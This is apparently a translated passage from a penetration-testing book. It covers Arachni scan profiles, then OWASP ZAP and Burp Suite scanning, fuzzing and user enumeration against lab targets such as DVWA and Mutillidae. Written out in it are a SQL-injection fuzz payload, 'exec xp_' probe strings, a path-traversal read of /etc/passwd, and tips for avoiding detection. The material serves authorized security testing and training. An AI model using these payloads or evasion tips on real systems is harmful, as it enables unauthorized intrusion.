在我们进行了所有配置文件更改之后,我们可以在底部选择创建配置文件按钮,然后就可以开始了!如果遇到问题,顶部中心的错误框将引导您找到问题所在,并告诉您在接受配置文件之前必须进行哪些修改。

启动我们的自定义扫描

制作完自定义配置文件后,我们可以调用它、安排它,或者将其放在安全的地方。要运行扫描,只需启动扫描,并在要使用的配置文件字段中选择LAMP 配置文件**** (全局)(或者您使用的任何名称),如下图所示。我们可以控制实例的数量,如何分配工作负载(直接到运行一个或多个实例的本地计算机,到远程服务器,或者使用计算机网格),如果需要的话可以安排它。在这里,我们现在只运行两个实例,看看它的表现如何。

使用自定义配置文件运行扫描很简单。

在扫描运行时,我们可以观察摘要,看看我们的自定义配置文件效果如何。如下图所示,我们的扫描已经远远超出了默认配置文件所见的范围,发现了更多页面,尝试了更多请求,并在保持低调的同时获得了更好的覆盖范围。这导致了更长的完成时间,但自动化应该允许我们在处理其他事情时进行快速扫描。

我建议您在自己的工作流程中找到可以启动自动任务的地方,同时在个人工作中进行更费力的工作,例如 Maltego 图构建、社会工程或后续任务的设置。

LAMP 配置文件速度较慢,但揭示了更多内容,并对目标服务器的负担较低。

审查结果

我们定制扫描的结果是,我们看到了 34 个问题,而不是之前广泛扫描中识别的 29 个问题,但我们的扫描时间是 28 分钟,而不是 34 秒。我们还发现了超过 90 页,而不是 27 页(其中一些是由于我们的用户输入),并且请求速率远低于默认值,因此保护了 DVWA 免受小规模拒绝服务DoS)的影响,并且在任何可能到来的防御措施下保持低调。Arachni 会一直保存扫描结果,直到空间用完或者我们告诉它删除结果,因此我们将始终有两者进行比较和对比。在实践中,我建议在风险可接受时运行单个目标扫描,并在工作的更隐秘阶段运行较小的子扫描。

以下是这些结果的摘要:

 LAMP 配置文件 默认配置文件
完成时间 38 分钟 36 秒
找到的页面 90 27
高严重性 3 0
中等严重性 8 7
低严重性 6 6
信息性 17 16
总问题 34 29

报告可以以多种有用的格式导出,包括 HTML、JSON、XML、Marshal、YAMR 和 AFR。与所有其他报告一样,HTML 报告数据丰富,几乎可以直接呈现,如下图所示:

Arachni 的报告格式已经准备就绪,是构建客户交付成果的绝佳起点。

对于更技术性的客户,提供后续或即时行动(见下图)是有帮助的。作为渗透测试人员,如果您不仅能够识别问题,还能够基于最佳实践提出建议,帮助客户的目标网络得到纠正并变得更加安全,那么您的价值将会更大。

详细的漏洞信息可以帮助快速教育客户或设置下一阶段。

摘要


有效的渗透测试取决于许多因素,但最好的结果来自于一组经过良好教育的扫描,既可以教育又可以为测试的后期阶段做好准备。正如最近的事件和持续的头条新闻所证明的那样,攻击者可以利用的向量数量和种类令人震惊。这些潜在漏洞的数量和重要性要求全面的测试套件,可以自动化扫描,并帮助我们快速确定目标的风险暴露。几乎同样重要的是能够处理大量的原始数据,并将其转化为可操作的情报。

Arachni 在提供这些扫描方面是一个很棒的工具,作为额外的奖励,您可以构建我们详细报告或可交付成果的基础。因为 Arachni 是一个开源且可扩展的产品,它得到了社区的良好支持,并提供了一个 Ruby 框架,任何人都可以在其上添加自己的扩展或插件。Arachni 有成千上万的选项,但希望我们在配置文件生成器中的深入研究能够为您提供一些关于如何更好地使用 Arachni 和其他辅助工具(如浏览器或 nmap)来高效地勘察目标系统的见解。Arachni 调查目标漏洞的深度使其能够详细地发现潜在的向量,这与许多商业替代品相媲美甚至超出了许多商业替代品。

在本章中,我们讨论了如何扩展 Arachni 的部署方式,以及如何调整扫描配置文件以揭示更多信息并保持低调的技巧。我们看了如何更好地对目标进行配置文件,定制扫描行为,并加载并专注于测试的 Recon 阶段获得的目标属性。我们还看到这些调整在深入页面发现和漏洞识别方面取得了长足的进展。报告元素也简要讨论了;如果有的话,这个领域充满了可能性,根据您的工作流程,您的流程将大大加速报告生成,并支持长期持续改进,我们都希望这成为 SDLC 中的标准。

在下一章中,我们将介绍另外两个与 Arachni 有重叠的工具,但可以将渗透测试进一步延伸到 Kill Chain--Burp SuiteOWASP ZAP。这些工具复制了 Arachni 的一些功能,但也可以利用我们在这里学到的知识来开始实际利用这些漏洞并确认影响。在看到 DVWA 需要担心什么之后,我相信我们会看到一些有趣的结果!

第五章:使用 OWASP ZAP 和 Burp Suite 进行代理操作

Web 服务器和应用程序比大多数其他企业应用程序更容易暴露在互联网上:它们必须可用并为最终客户提供服务。因此,防御者已经被教导将用户流量(浏览网站,与动态内容交互等)视为正常,只要它遵循行为规范。他们的防御将专注于广泛的交互,同时让正常用户活动的缓慢渗漏。有效的渗透测试人员将尽可能模仿这种行为,以在启动后更具侵入性的 Kill Chain 的阶段之前尽可能多地了解他们的目标。

正如我们在第四章中指出的,使用 Arachni 进行漏洞扫描,专门的扫描工具可能是一把双刃剑。首先,大多数扫描器,包括 Arachni 在内,专门通过被动和主动手段寻找漏洞。这两种方法都有帮助,但正如您可能很清楚的,它们会以时间成本和主动扫描的隐蔽性为代价。除了资源需求和所需的时间之外,我们还必须考虑我们自己的工作流程与所需的隐蔽级别。可以获得重要的情报,但如果配置文件的调整不精确,您就有可能警告目标的操作人员并被发现。在职业早期的渗透测试人员经常会释放 Nmap 扫描或其他主动侦察工具,然后发现他们的噪音破坏了他们进一步前进的机会。

以扫描为重点的工具还需要将发现转化为后期操作,并且它们在检测能力上也存在漏洞。大多数扫描工具不会代表您采取行动。这些警告可能在白盒测试场景中是可以接受的,在这种场景中,您可以毫无顾忌地测试 Web 应用程序,而不必担心被发现。在黑盒场景中,渗透测试更有可能由红队(作为外部攻击者)进行,更需要更精确的手术技术。你们中的许多人可能已经注意到,大多数扫描或蜘蛛工具存在盲点,特别是在遇到 JavaScript 或 Ajax 等新内容交付范式时,这些范式动态创建内容而不是依赖存储的 HTML。对于这些情况和许多其他情况,我们都有必要在您的武器库中拥有一两个备用工具集。

基于代理的工具为我们提供了一个补充工具,不仅可以进行扫描,还可以在同一个工具中进行漏洞利用和访问。这些产品充当客户端(浏览器)和服务器端(Web 层)元素之间的代理。通过坐在这个关键链接的中间,我们能够搜索两侧之间的消息流量,并观察甚至修改和攻击。代理工具的额外好处是允许我们在通过一些验证后修改请求,这样我们就可以规避应用程序可能存在的一些基本 JavaScript 和 HTML 限制。

您可能已经在您的武器库中使用了其中一些工具;毫无疑问,市场上充斥着开源和商业替代品。我们在本章中的目标将是进一步研究 Kali Linux 附带的两种最受欢迎的替代品——Burp Suiteportswigger.net/)和 OWASP 自己的Zed Attack ProxyZAP)。这两个工具都可以免费使用,但我们还将看到 Burp Suite 专业版可以为混合增加多少。我希望我们将涵盖一些更高级的技术,以利用这些基于代理的工具,然后您可以使用这些技术来改进您自己的流程,提供更好的结果,并更有效地帮助您的客户保护安全。

牢记这些高层次的目标,在本章中,我们将涵盖以下内容:

  • 对比两个主要代理工具 Burp Suite 和 OWASP ZAP(以前称为 zaproxy)与 Paros 之间的差异

  • 深入使用 Burp 的代理和扫描器以及 ZAP 来确定和检测 OWASP 十大漏洞

  • 学习如何利用 Burp 的主动工具来枚举信息和利用漏洞

  • 通过模糊化和 Burp Repeater 测试访问控制和会话管理

  • 使用 Burp Suite 揭示和利用注入漏洞、输入验证和应用程序逻辑漏洞

使用 ZAP 拉开帷幕


学习 OWASP 的工具套件非常值得——它们的平台无关方法意味着您可以随时随地使用这些工具,而不必担心您所在的操作系统是哪个。幸运的是,Kali 默认捆绑了它。对于我们测试人员来说,更有帮助的是 OWASP 在 Web 应用程序安全领域的领导地位。他们的见解和指导都会融入 ZAP 工具的每一次迭代中(www.owasp.org/index.php/ZAP),因此我们可以确信我们正在获得最前沿的漏洞和利用信息,这些信息会随着发现而被纳入工具中。

与 Kali 中的任何工具一样,您可能已经在学习或工作中使用过 ZAP,但有一些高级技术可以用来改进 ZAP 在您的工具集中的覆盖范围和效果。ZAP 可以主动扫描目标(这是他们“快速启动”选项卡使用的方法),也可以用作代理工具来捕获、迭代和模糊化站点。

ZAP 的代理功能扫描可以通过其“工具”菜单进行扩展,以进行应用程序扫描、蜘蛛爬行或模糊化。ZAP 充当 Web 代理,通常位于测试人员浏览器的同一主机上。以下屏幕截图显示了 ZAP 如何适应架构:

OWASP 的 ZAP 是我们的中间人,可以减慢并重放服务器-客户端交互。

虽然大多数网络应用程序黑盒场景可以通过在同一主机上部署我们的代理中间人来解决,但应该注意,随着物联网的出现以及使用网络应用程序为这些设备提供服务的趋势,我们可以使用 ZAP 或 Burp 以代理模式进行代理,其中客户端实际上是嵌入式智能设备上的 Web 客户端(例如电视、摄像头、恒温器、SCADA 传感器、泵或电机等)。一些公司预测到 2020 年,互联网将连接 500 亿台设备,尽管最初被认为是过于热衷,但实际上可能相当保守。考虑到有多少制造商似乎在保护它们方面运气不佳(例如Mirai 僵尸网络),在机会出现时考虑这种用例是值得的。黑客们绝不是创业家!

快速回顾启动 ZAP 扫描

在我们深入了解 ZAP 的更高级功能之前,让我们快速建立一个基线项目,并使用持久项目(在会话之间保存数据)。假设您已经配置了浏览器将代理指向 ZAP(我的配置为localhost:8080),我们将针对Mutillidae应用程序进行目标设置,该应用程序类似于DVWA,但提供了更深入的功能,位于http://172.16.30.129/mutillidae/。我还配置了我的客户端信任来自 ZAP 的证书,以确保我在 SSL/TLS 方面没有问题,尽管在这种测试场景中不太可能出现问题。

OWASP Broken Web Application VM 上有大量的培训和存档应用程序,包括DVWAWebGoatMultillidae等。如果您下次旅行时只能在 Kali VM 旁边运行一个应用程序,那么这将是最好的选择。对于更专注的测试,我建议在www.vulnhub.com/上找到最新的易受攻击的虚拟机。

使用 ZAP 积极行动

如果我们想运行主动扫描,我们可以简单地在 URL 中输入 DVWA 的地址来攻击应用程序,然后点击Attack。许多人使用这个功能,但了解扫描可以帮助您更好地使用工具,并选择正确的功能组合。

快速扫描揭示了大量的向量,但其中最紧迫的是那些讨厌的密码。

站点面板绘制了网站,显示文件和目录结构,如前面的屏幕截图所示。在下面的窗口中,我们会注意到Alerts根据它们的类型进行分组,ZAP 使得进入后续操作变得非常容易。我们可以看到每个 URL 对应的不同颜色的标志,表示相关漏洞的关注级别,以及一个蜘蛛符号,表示它是通过自动Spider功能学习到的。当我们通过浏览器访问这些位置时,随着与网站的交互,蜘蛛将消失,我们将获得更高的准确性。扫描可以节省时间,但自动蜘蛛,就像任何主动技术一样,往往是一种粗糙的工具,而不是一个精细调校的仪器。如果您已经对您要寻找的内容有一些想法,将这些扫描集中在目标的较小部分上将会在隐蔽性方面产生回报。

无论哪种情况,我们在 Mutillidae 中看到的基于 Web 的安全问题比 BWA 镜像上的其他应用程序更多,其中最严重的之一是路径遍历问题,似乎允许我们暴露/etc/passwd/的内容。我们可以使用上下文菜单来突出显示并阅读有关漏洞的信息,甚至可以在浏览器中启动标记的 URL,如下面的屏幕截图所示:

哦,我们需要和客户谈谈一些密码的事情 - 在测试结束后。

正如我们所看到的,这些密码信息的宝库只需付出最小的努力就能获得,这并不总是情况(但我们可以希望),但 ZAP 提供的每一个警报都提供了一个我们在渗透测试中应该追求的线索。

被动 ZAP 扫描

被动扫描是一种非侵入性的方式,我们可以通过它来绘制和了解网站的结构以及与之交互的代码。被动扫描不允许对 HTTP 消息进行内联修改,但对未修改的标头和内容进行全面检查,使 ZAP 能够提供洞察力。它将构建警报和标记,就像它们是通过主动扫描生成的一样。

Passive scanning only has two configuration areas:

  • 第一个重点是扫描引擎的敏感性。我们可以访问Passive Scan Rules屏幕,如下面的屏幕截图所示,并选择OffLowMediumHigh来改变对每种漏洞类型警报的阈值。Off禁用扫描和警报,Low提供最高级别的敏感性,而High只关注最明显的漏洞来标记。

根据我们的需要,被动扫描可以省略或审查各种测试类型。

  • 被动扫描的第二个配置区域是我们能够根据特定的正则表达式或标头信息进行标记,如下面的屏幕截图所示。这对我们有什么用呢?当我们对特定页面上要寻找的内容有一些想法时,我们可以创建自定义标记,让 ZAP 能够识别我们想要的模式。ZAP 中密码的默认标记模式可能对密码来说效果很好,但是当我们发现目标通过用密码短语秘密替换字段名称时呢?这种标记定制也可以用来获取其他有趣的信息,这也是我们有充分理由复习我们的正则表达式或regex语法。

可以添加或修改标签,以帮助我们发现目标的秘密。

用 ZAP 进行模糊测试

ZAP 有能力修改或模糊请求发送到 Web 应用程序,这对于测试输入验证、应用程序逻辑、多种注入漏洞和错误处理非常有用。模糊攻击为原本繁琐、费力和迭代的测试添加了一些自动化,重点关注请求处理中的错误。内置的模糊测试负载相当简单,但可以通过使用附加组件甚至自定义脚本进行扩展。在 ZAP 上提高模糊测试技能的一个很好的资源是OWASP 的 OTG 附录 C,位于www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors。我们可以通过右键单击AlertHistoryRequest条目来启动模糊测试操作,几乎可以在 ZAP 的任何地方进行,就像我们再次访问 Mutillidae 网站时所看到的那样(该应用程序正在受到严重滥用!)。您的目标应该是寻找任何蜘蛛结果或浏览操作,导致客户端和服务器之间传递变量的请求或响应,并寻找测试接受限制的机会。在这种情况下,我们认为我们可能有机会攻击登录应用程序并测试一些 SQL 注入/输入验证漏洞。

在 ZAP 中,几乎可以从任何地方开始进行模糊攻击。

然后,我们可以选择一个字段进行模糊测试,并添加我们想要部署的负载的位置(Mutillidae 在其练习模式中指出了几个测试向量,因此我建议尝试其他向量)。

要了解 OWASP 的 Mutillidae Web 应用程序提供的多种漏洞,您可以阅读 SANS 指南,该指南解释了该应用程序的起源、目的和内部工作,网址为www.sans.org/reading-room/whitepapers/application/introduction-owasp-mutillidae-ii-web-pen-test-training-environment-34380

首先,我们将使用JBroFuzz附加组件提供文件模糊测试器,这意味着 JBroFuzz 将提供各种类别的列表进行尝试。密码、目录和用户名列表很常见,但各种 SQL 查询的有用字符串也很常见。这些步骤显示在下面的截图中。在测试强大的 Web 应用程序时,还可以测试常见的浏览器 URI 和 HTTP 版本,以查看是否存在可以迫使降级姿态的点,以便应用程序可以适应您过时的浏览器或操作系统。

配置模糊测试负载是一个简单的过程。

根据您勾选的框和突出显示的字段,您会发现 ZAP 开始对页面或字段进行详尽测试。在Fuzzer选项卡中,您会注意到所有的结果。如果您看到感兴趣的结果,务必右键单击它并尝试在浏览器中启动它。我们在这里寻找的是差异。为什么在下面的截图中,输入41导致302响应和更大的字节计数?看起来模糊测试过程导致了该测试字符串的不同结果。

模糊测试结果迅速引起我们对一小组字符串的注意。

在右上角面板中,您可以查看标题和正文代码或信息,正如我们在下图中所看到的,我们可以记录一些有趣的差异以供将来测试和分析。我们可以看到左侧似乎无害的有效负载1 exec sp_(或 exec xp_)的结果,以及右侧传递有效负载â�� or username is not NULL or username = â��的结果。

模糊测试结果迅速将我们的注意力集中在一小组字符串上。

正如我们现在所看到的,这似乎表明右侧有效负载的某些部分找到了不同的响应--这些应用程序的漏洞可能是我们需要获取立足点并危害我们的目标。一旦您对感兴趣的任何字段进行了模糊测试,通常会对字段的组合进行模糊测试,以进行简单基于凭据的身份验证的暴力攻击。OWASP 的 ZAP 肯定也可以帮助进行这些后续测试。类似的功能也可以在其他 Kali 捆绑测试工具集中找到,如w3afWebScarab和古老的经典工具Paros。作为渗透测试人员,花时间了解至少其中几个是值得的。

使用 Burp Suite 提升到一个新的水平


OWASP ZAP 是一个很棒的开源代理扫描和模糊测试工具的介绍。也就是说,大多数测试人员已经发现,需要额外的工具来完成完整的测试,原因是需要覆盖更多的输入向量,覆盖 Flash 和 Webservice 漏洞等其他内容类型,并自动化更多的报告和审计流程。可以在SecToolMarket.comwww.sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html)了解更多关于许多工具集的信息。与外部工具集协调以完成小型渗透测试以上的工作是不值得的。许多新的基于代理的动态应用安全测试DAST)框架应运而生。这些解决方案从免费到极其昂贵不等,可能被大型企业或他们雇佣的渗透测试人员使用。许多这些平台可以在 Linux、Windows 甚至 Mac OS 上运行。

Kali Linux 方便地捆绑了 Linux 领域领先工具的免费版本;Burp Suiteportswigger.net/burp/)由Daffyd Studdard创建,并由他的公司PortSwigger维护。Burp Suite 的架构包括其他工具集的代理和模糊测试功能,但通过内置工具扩展了这些功能,更完全地扫描、模糊测试和与目标环境交互。Burp Suite 可以比较站点地图并自动化许多其他对于 ZAP、w3af 和其他 Kali 捆绑工具来说是手动的任务,并且几乎涵盖了整个 OWASP OTG。我们将在后面详细讨论的一些这些工具在免费版本中要么被禁用要么受到限制,如下图所示。我强烈建议购买 Burp Suite Pro 订阅(截至撰写本文时每年 349 美元每用户),因为在这个价格下,您将获得频繁的更新、出色的支持,并且是市场上成本最低的网络渗透测试工具之一,并且您可以根据需要在 Kali(或其他形式的 Linux)、Windows 和 Mac OS 上使用它。

Burp Suite 免费版和专业版的比较。

了解 Burp Suite 旨在支持的用户驱动工作流程有助于测试人员理解各版本之间的区别,并决定 Burp Suite 将如何支持他们自己的定制流程。

以下屏幕截图改编自位于portswigger.net/burp/help/suite_usingburp.html的图表,但在此处更清楚地概述了专业版添加的部分:

Burp Suite 的架构支持完整的渗透测试工作流程。

不要担心前面的部分,我们将快速回顾代理和蜘蛛的设置和配置,然后迅速进入 Burp 提供的更高级功能,这些功能可以在整个渗透测试过程中提供自动化。

使用 Burp Suite 进行侦察

与任何代理工具一样,我们需要配置浏览器的设置以使用适当的 IP 地址和端口号(通常使用 IP 地址127.0.0.1和端口8080)。幸运的是,相同的配置对 ZAP 和 Burp 都适用,除非您打算链接代理。如果您需要通过多个工具传递流量或使用外部代理,则可能需要这样做,有关如何在图片中使用 Burp 进行此操作的详细信息,请参阅portswigger.net/burp/help/options_connections.html。OWASP Broken Web Application Virtual MachineBWA VM)包括多个用于测试和培训的应用程序,我们只想专注于 OWASP Mutillidae 应用程序,该应用程序为我们的实践提供了丰富的素材。

保持目标!

您可能已经知道,开始侦察的推荐方法是首先手动映射目标,关闭代理的拦截功能。当我们点击各种页面并在表单中提交无意义的内容时,我们将填充目标选项卡的站点地图子选项卡。在这里对任何感兴趣的域或 IP 地址右键单击,可以将主机添加到我们分析的范围内。我们还可以手动将目标添加到目标范围(查看下面的屏幕截图),但这两种方法都让我们有机会将分析重点放在应用程序上,如绿色框中所示--在范围内定义的任何内容,您需要了解 Burp 将为您攻击!您还可以从范围中省略某些类型的内容(在红框内),但在这种情况下,我们将保留默认设置。

这些默认设置将确保我们不会浪费时间查看注销页面。

目标范围是巨大的生产力增强。

为什么我们要费这么大的劲?自动化工具需要一些帮助。如果您没有任何限制地释放它们,您可能会面临不必要的流量破坏目标或对您的任务范围之外的站点造成附带损害的风险--这两种情况都对业务不利!手动映射类似于一次漫步,它使您和您的团队更好地了解可能正在使用的技术以及站点工作流程对用户交互的影响。我们需要在前期更好地回答一些问题,以确保后期获得更相关的结果。站点试图引导用户去哪里?提供了哪些服务?我们可以标记哪些表单以进行更深入的分析?您明白了,并且可能在自己的工作中获得了这方面的理解。Burp Suite 也需要理解这一点,以更有效地代表您进行操作。

当您接近被动和手动映射的结束时,您可以从 Burp 中获得一些帮助来完成探索。目标选项卡和站点地图子选项卡中的灰色站点是已经了解但尚未访问的链接,因此如果您认为访问它们可能会有所收获,那就尽管去做吧!您还可以激活内容发现,让 Burp 尝试发现可能已经断开链接或不再活跃但仍存储在服务器上的目录、模板或其他潜在隐藏的文件和文件夹。只需右键单击主机,选择参与工具,然后发现内容,如下所示:

内容发现可以帮助找到隐藏或被遗忘的内容。

一旦您启动了内容发现,您就有机会选择用于自动发现操作的内置或自定义单词列表(请参阅下图)。内容发现实际上是一种特殊的蜘蛛功能,其目的是寻找未链接的页面和文件夹,而蜘蛛会专注于跟踪所有链接,直到网站被完全映射。在这里,我们可以决定是否遵守大小写敏感性(这会增加完全枚举所有可能性的操作次数)。我们还可以指定感兴趣的文件类型和扩展名,要使用的线程和连接数,甚至是否希望 Burp 的内容发现从这些隐藏的工件中蜘蛛出来,并深入到这些链接可能指向的任何内容。

我强烈建议在 Burp 中使用注释功能。内容窗口中任何发现的最左侧字段都可以使用下拉菜单进行颜色编码,您还可以双击添加评论。在处理复杂目标或作为团队的一部分时,这些工具可以帮助您保持组织,避免不必要的重复工作。

调整内容发现的选项。

内容发现 工具将会全面测试所有潜在未开发或隐藏的内容,满足您设定的标准(参见下图),您可以在内容发现对话框的站点地图子选项卡中查看这些内容。

我建议您在任何机会都使用过滤器。特别是站点地图,它是将您的信息减少到只有您感兴趣的内容的绝佳工具。只需点击过滤器:对话框,并调整设置以确保过滤掉所有非必要的信息。

内容发现有助于完成站点地图。

使用代理进行特定设置

现在,我们准备开始使用更自动化的工具。您可能更喜欢首先激活代理拦截或进入Burp Spider,但我倾向于首先使用Burp Proxy,避免使用蜘蛛,除非这是一个白盒测试,客户期望我们这样做。在目标阶段进行被动和手动映射后,代理应该能够帮助我们集中精力解决我们已经标记为目标软点的应用程序领域。只需在代理选项卡的拦截子选项卡中切换到拦截已开启即可激活代理。

当你浏览网站时,Proxy会拦截这些请求,并允许你更改任何字段以供你自己使用。这可能非常费力,所以一定要将这种亲自操作的过程限制在你认为需要人工干预的应用程序部分,或者作为熟悉自己的手段。一旦你认为需要进一步分析或调查,右键单击代理的HTTP history标签(查看下面的截图),并将表单或 URL 交给 Burp Suite 中的另一个工具,以更好地利用你的时间。例如,如果你需要尝试多次修改表单,Burp Repeater可以提供这个功能,并同时跟踪多个这样的请求。如果你想发起自动攻击,Burp Intruder 可以代表你处理这些攻击。SequencerComparer也可以在这里启动。

Burp Suite 使得从代理分析转移变得容易。

使用 Spider 进行主动操作

Burp Spider是一个快速方便的工具,但我建议谨慎使用。Spidering 可以帮助加快任何渗透测试过程,但该工具的作者建议仅在非常庞大的应用程序的部分或时间紧迫且风险被时间表所抵消的情况下使用。也就是说,了解并掌握这个工具是非常值得的,以备不时之需。好消息是,我们都有足够的时间来掌握它。

Spider 的配置位于一个选项卡上(查看下面的截图),并且让我们可以访问一些设置,这些设置可以帮助我们限制这个喧闹工具对我们目标的影响,自动生成填充数据,尝试登录,并传递特殊的浏览器请求头。我建议不要更改的一个设置是Passive Spidering设置。取消选中Passively spider as you browse框会阻止 Burp 在你使用套件中的其他工具时自动识别链接和内容。假设你已经将所有设置调整到你喜欢的状态,你可以在Control选项卡中启动主动的 Spidering 会话。

Spidering 设置很有用,但除非你确定,否则不要碰被动设置!

Burp 的TargetSpiderProxy工具都提供了目标的出色侦察,并为我们提供了一个整合的站点地图和潜在漏洞的目录,供我们调查。尽管站点地图和问题的有序列表可以帮助我们在测试的后期阶段,但你无法测试你看不到或不知道存在的东西!现在你已经收集了所有这些信息,你可能想对它们做些什么。

激活 Burp Suite

Burp Suite 对我们来说如此宝贵的原因在于,我们可以快速从侦察阶段转入测试的利用阶段,这样我们就可以验证我们的发现,而不必手动协调外部工具。在这一部分,我们将看到 Burp 的ScannerIntruderRepeaterSequencer如何帮助我们深入挖掘漏洞的工作列表,并帮助我们确定对我们目标的损害(或潜在的损害)。一些渗透测试方法的问题在于,开发这些方法的人认为更多的工具意味着更好的结果。然而,我认识的一些有多年经验的同行发现,他们在较小的公司或团队中使用完全集成的工具套件时,能够获得更广泛的覆盖、更一致的报告,以及更少的错误和痛苦。你的情况可能有所不同,但在已经存在集成工具集的情况下,集成和操作一系列工具可能更适合较大的渗透测试团队。

本节中的四种工具几乎可以从 Burp 的任何站点地图或菜单中启动,很可能您以前已经使用过 Intruder 和 Repeater。我们将在这里对它们进行审查,并提出一些建议,以便为您的测试部署它们的最佳方式。请记住,一些特定攻击向量(如 SQL 注入、跨站脚本和请求伪造等)的有趣细节将在后面专门章节中进行讨论,Burp Suite 将作为我们用来追踪它们的工具之一。

寻找生命(或漏洞)

代理和蜘蛛有助于构建站点地图,但是用于测试页面、表单等是否存在漏洞的工具是什么呢?最广泛的工具是 Burp Scanner。毫无疑问——扫描器可以起到非常积极的作用,并在其主动模式下对目标发起攻击。因此,请确保您已经缩小了范围,并且清楚地知道您正在释放 Burp Scanner 去执行的确切主机,尤其是在使用主动扫描功能时。我相信正是因为这些深远的影响,扫描器才被保留给专业许可证用户。

如果您没有使用 Burp Suite 专业版,我仍然建议您了解扫描器提供的功能和价值,以帮助证明其费用的合理性;但至少,它可以为您提供一个衡量您选择的扫描替代方案的标准,无论是 Accunetix、w3af、ZAP 还是其他工具。

值得一提的是,不可能在一本书中涵盖所有的替代方案并且仍然能够制作出一本有用的书。渗透测试,就像任何其他技术领域一样,针对同一个问题有多种解决方案;并且与其他领域一样,所选的工具和方法将根据用户的背景和能力以及工作的要求而有所不同。我鼓励您深入研究这里讨论的工具,并根据自己的需求考虑其他选择。

对进行定期渗透测试的同事进行的快速调查显示,虽然许多人使用 Burp Suite 和扫描器,但大多数人并没有停下来思考每个工具在整个方案中的作用。简单回顾一下:扫描器通过获取在侦察阶段观察到的缓存请求,并修改它们以测试底层代码中可能存在的漏洞。通过表现行为,扫描器可以验证漏洞的存在或不存在。在这些操作过程中,目标很可能会受到影响,因此我们必须获得许可,了解影响,并采取措施警告客户并保护服务器,以防测试对其姿态产生不利影响。

Burp 的扫描器工具也与市场上的其他工具不同,因为这些扫描器通常同时爬行和扫描,而 Burp 扫描器提供了两种不同的模式:

  • 被动模式:扫描器通常在被动模式下在后台工作,观察我们生成的流量,并实时评估请求和响应。这有什么好处呢?首先,它允许我们驱动扫描并与应用程序进行交互,当需要对话(凭据、表单输入等)时,它可以进一步进入应用程序的内部。其次,它不需要我们做任何工作——只需通过浏览器进行交互即可启动被动扫描模式。

  • 主动模式:在主动模式下,扫描器可以在您浏览网站时进行实时主动扫描,并可以通过上下文菜单手动启动,通过向导进行一些配置后,对页面或应用程序的分支进行漏洞追踪。

我们还应该注意,扫描器能够测试服务器端和客户端代码的已知漏洞;这非常有用,因为它允许我们向客户提供全面的报告,帮助他们全面了解应用程序的性能。

Scanner 的功能有三个关键原因使 Burp 与其他 DAST 工具有所不同:

  • 其他工具对服务器端漏洞的准确性可能会低得多,因为许多这些错误局限于服务器端环境,并且不会反映在客户端上,从而避免了测试人员的检测。

  • Scanner 还专注于测试它有权威实际测试的漏洞,因此那些最多在这里被错误发现的漏洞被省略,以确保 Burp 的输出是可信的,没有误报。

  • 扫描器可以快速地允许切换到套件中的其他工具(无需配置或传输数据),因此总是有另一条路径可用。

现在我们了解了扫描器的优势和我们的责任,让我们更有效地使用它。

被动扫描是一个不费脑筋的选择。

很可能您在自己的工作中一直在使用扫描器的这个功能,但以防它被关闭或配置错误,我们可以首先检查被动扫描是否已打开,方法是访问Scanner选项卡的Live scanning子选项卡,如下图所示:

被动扫描配置为扫描所有流量。

选择被动模式Scanner扫描的流量方面,您可以访问Options子选项卡,并打开或关闭十一个类别,如下截图所示。我建议除非某个类别超出范围,否则都保持选中。被动扫描仅在您访问和交互的页面上实施,并且几乎没有风险会导致附带损害的扫描结果。

被动扫描可以观察到大部分有趣的流量区域。

如下截图所示,被动扫描捕获了几个潜在的漏洞,并提供了问题的解释和潜在的补救步骤,以及原始请求和相应的响应信息,包括标头、任何相关的 HTML 或 XML 等。对于一个免费的扫描来说,这并不算太糟糕,而且不需要额外的时间要求或资源!

Scanner 的结果是描述性和完整的,并提供了补救步骤。

主动扫描——谨慎使用!

如前所述,主动扫描是对目标的攻击。请确保您的目标、主动扫描和妥协的许可,并且了解如果发现意外或足够严重以至于需要立即向客户披露的情况下,您的道德和法律责任。

与被动扫描类似,您可以首先检查主动扫描是否已打开,方法是访问Scanner选项卡的Live Scanning子选项卡。您可以选择停用它,使用目标范围运行,甚至使用自定义范围。然后,您可以在Options子选项卡上配置许多潜在的漏洞类型和引擎调整,如下截图所示:

主动扫描选项涵盖了引擎、优化和漏洞领域。

Active Scanning Areas 部分允许您取消漏洞类型,如果您已经在另一个工具集中涵盖了它们。您还可以选择事件的子集,集中在特定集合上(在白盒测试中很常见),或进行增量测试。

手动主动扫描可以遵循相同的路径,但是由我们发起,而不是自动进行,如下截图所示。这可能是最好的折中方案——拥有主动扫描的所有功能,但只针对明确的路径或页面。

手动主动扫描可以明确地专注于任何主机、页面或文件夹。

在两种主动扫描技术中,扫描将被添加到扫描队列子选项卡中;当您满意地排队了足够多的主动操作时,您可以选择尽可能多的扫描,右键单击,然后恢复扫描。扫描队列子选项卡将报告所有进度(查看下面的截图),您将看到您的扫描器在对所有选定的页面进行迭代以完全确认这些页面上的任何漏洞时所需的大量资源需求。

对所有排队的操作进行主动扫描进度。

扫描器的结果是我们的目的(如下图所示)。Burp 为我们提供了列表,每个列表都附有描述和后续操作。

主动扫描器的结果显示在我们的指尖上,包含所有相关信息。

入侵者的飞行

Burp Suite 还包括一些更专注的工具,其中 Intruder 是其中之一,它允许对字段操作进行严肃的自动化,这对注入尝试和暴力攻击等事情非常有用。Intruder是一种超级模糊器。当我们找到一个 HTTP 请求,看起来很适合进行任何这类攻击时,我们可以确定我们认为可以调整的字段(Burp 称它们为位置),然后要求 Intruder 对 Burp 称为有效负载的每个字段应用,这些有效负载可以来自预先构建的列表,也可以通过一些经过验证的算法生成。因为 Intruder 可以在多个位置上执行此操作,所以它对我们来说是一个巨大的时间节省者,并提供了详尽的测试覆盖。

入侵者的多功能性是一个巨大的帮助。它可以帮助我们揭示帐户名称(通常通过运行潜在列表并观察不同的响应)。入侵者还可以将这些技术应用于对每个帐户的各种字段进行迭代,例如地址、电话号码、社会安全号码、银行信息等,这些信息可能与用户的帐户或个人资料相关联。最后,为了确保我们充分利用了工具,入侵者还是一个用于漏洞搜索的全功能模糊器,例如注入攻击或输入验证问题。掌握入侵者的能力对我们自己的测试来说是一个巨大的增强力量,幸运的是,这是一个非常直接的工具。

停下来,列举并倾听!

如果我们使用入侵者来列举单个字段,最常见的是用户名或帐户 ID,那么这个过程就非常简单。我将尝试访问 Mutillidae 的登录页面(如下图所示),看看我们能否找出可以挖掘出的用户名。我会随便填一些胡言乱语,只是为了触发 Burp 代理中的请求/响应对(拦截已打开),除非我非常幸运,否则会收到帐户不存在的消息。

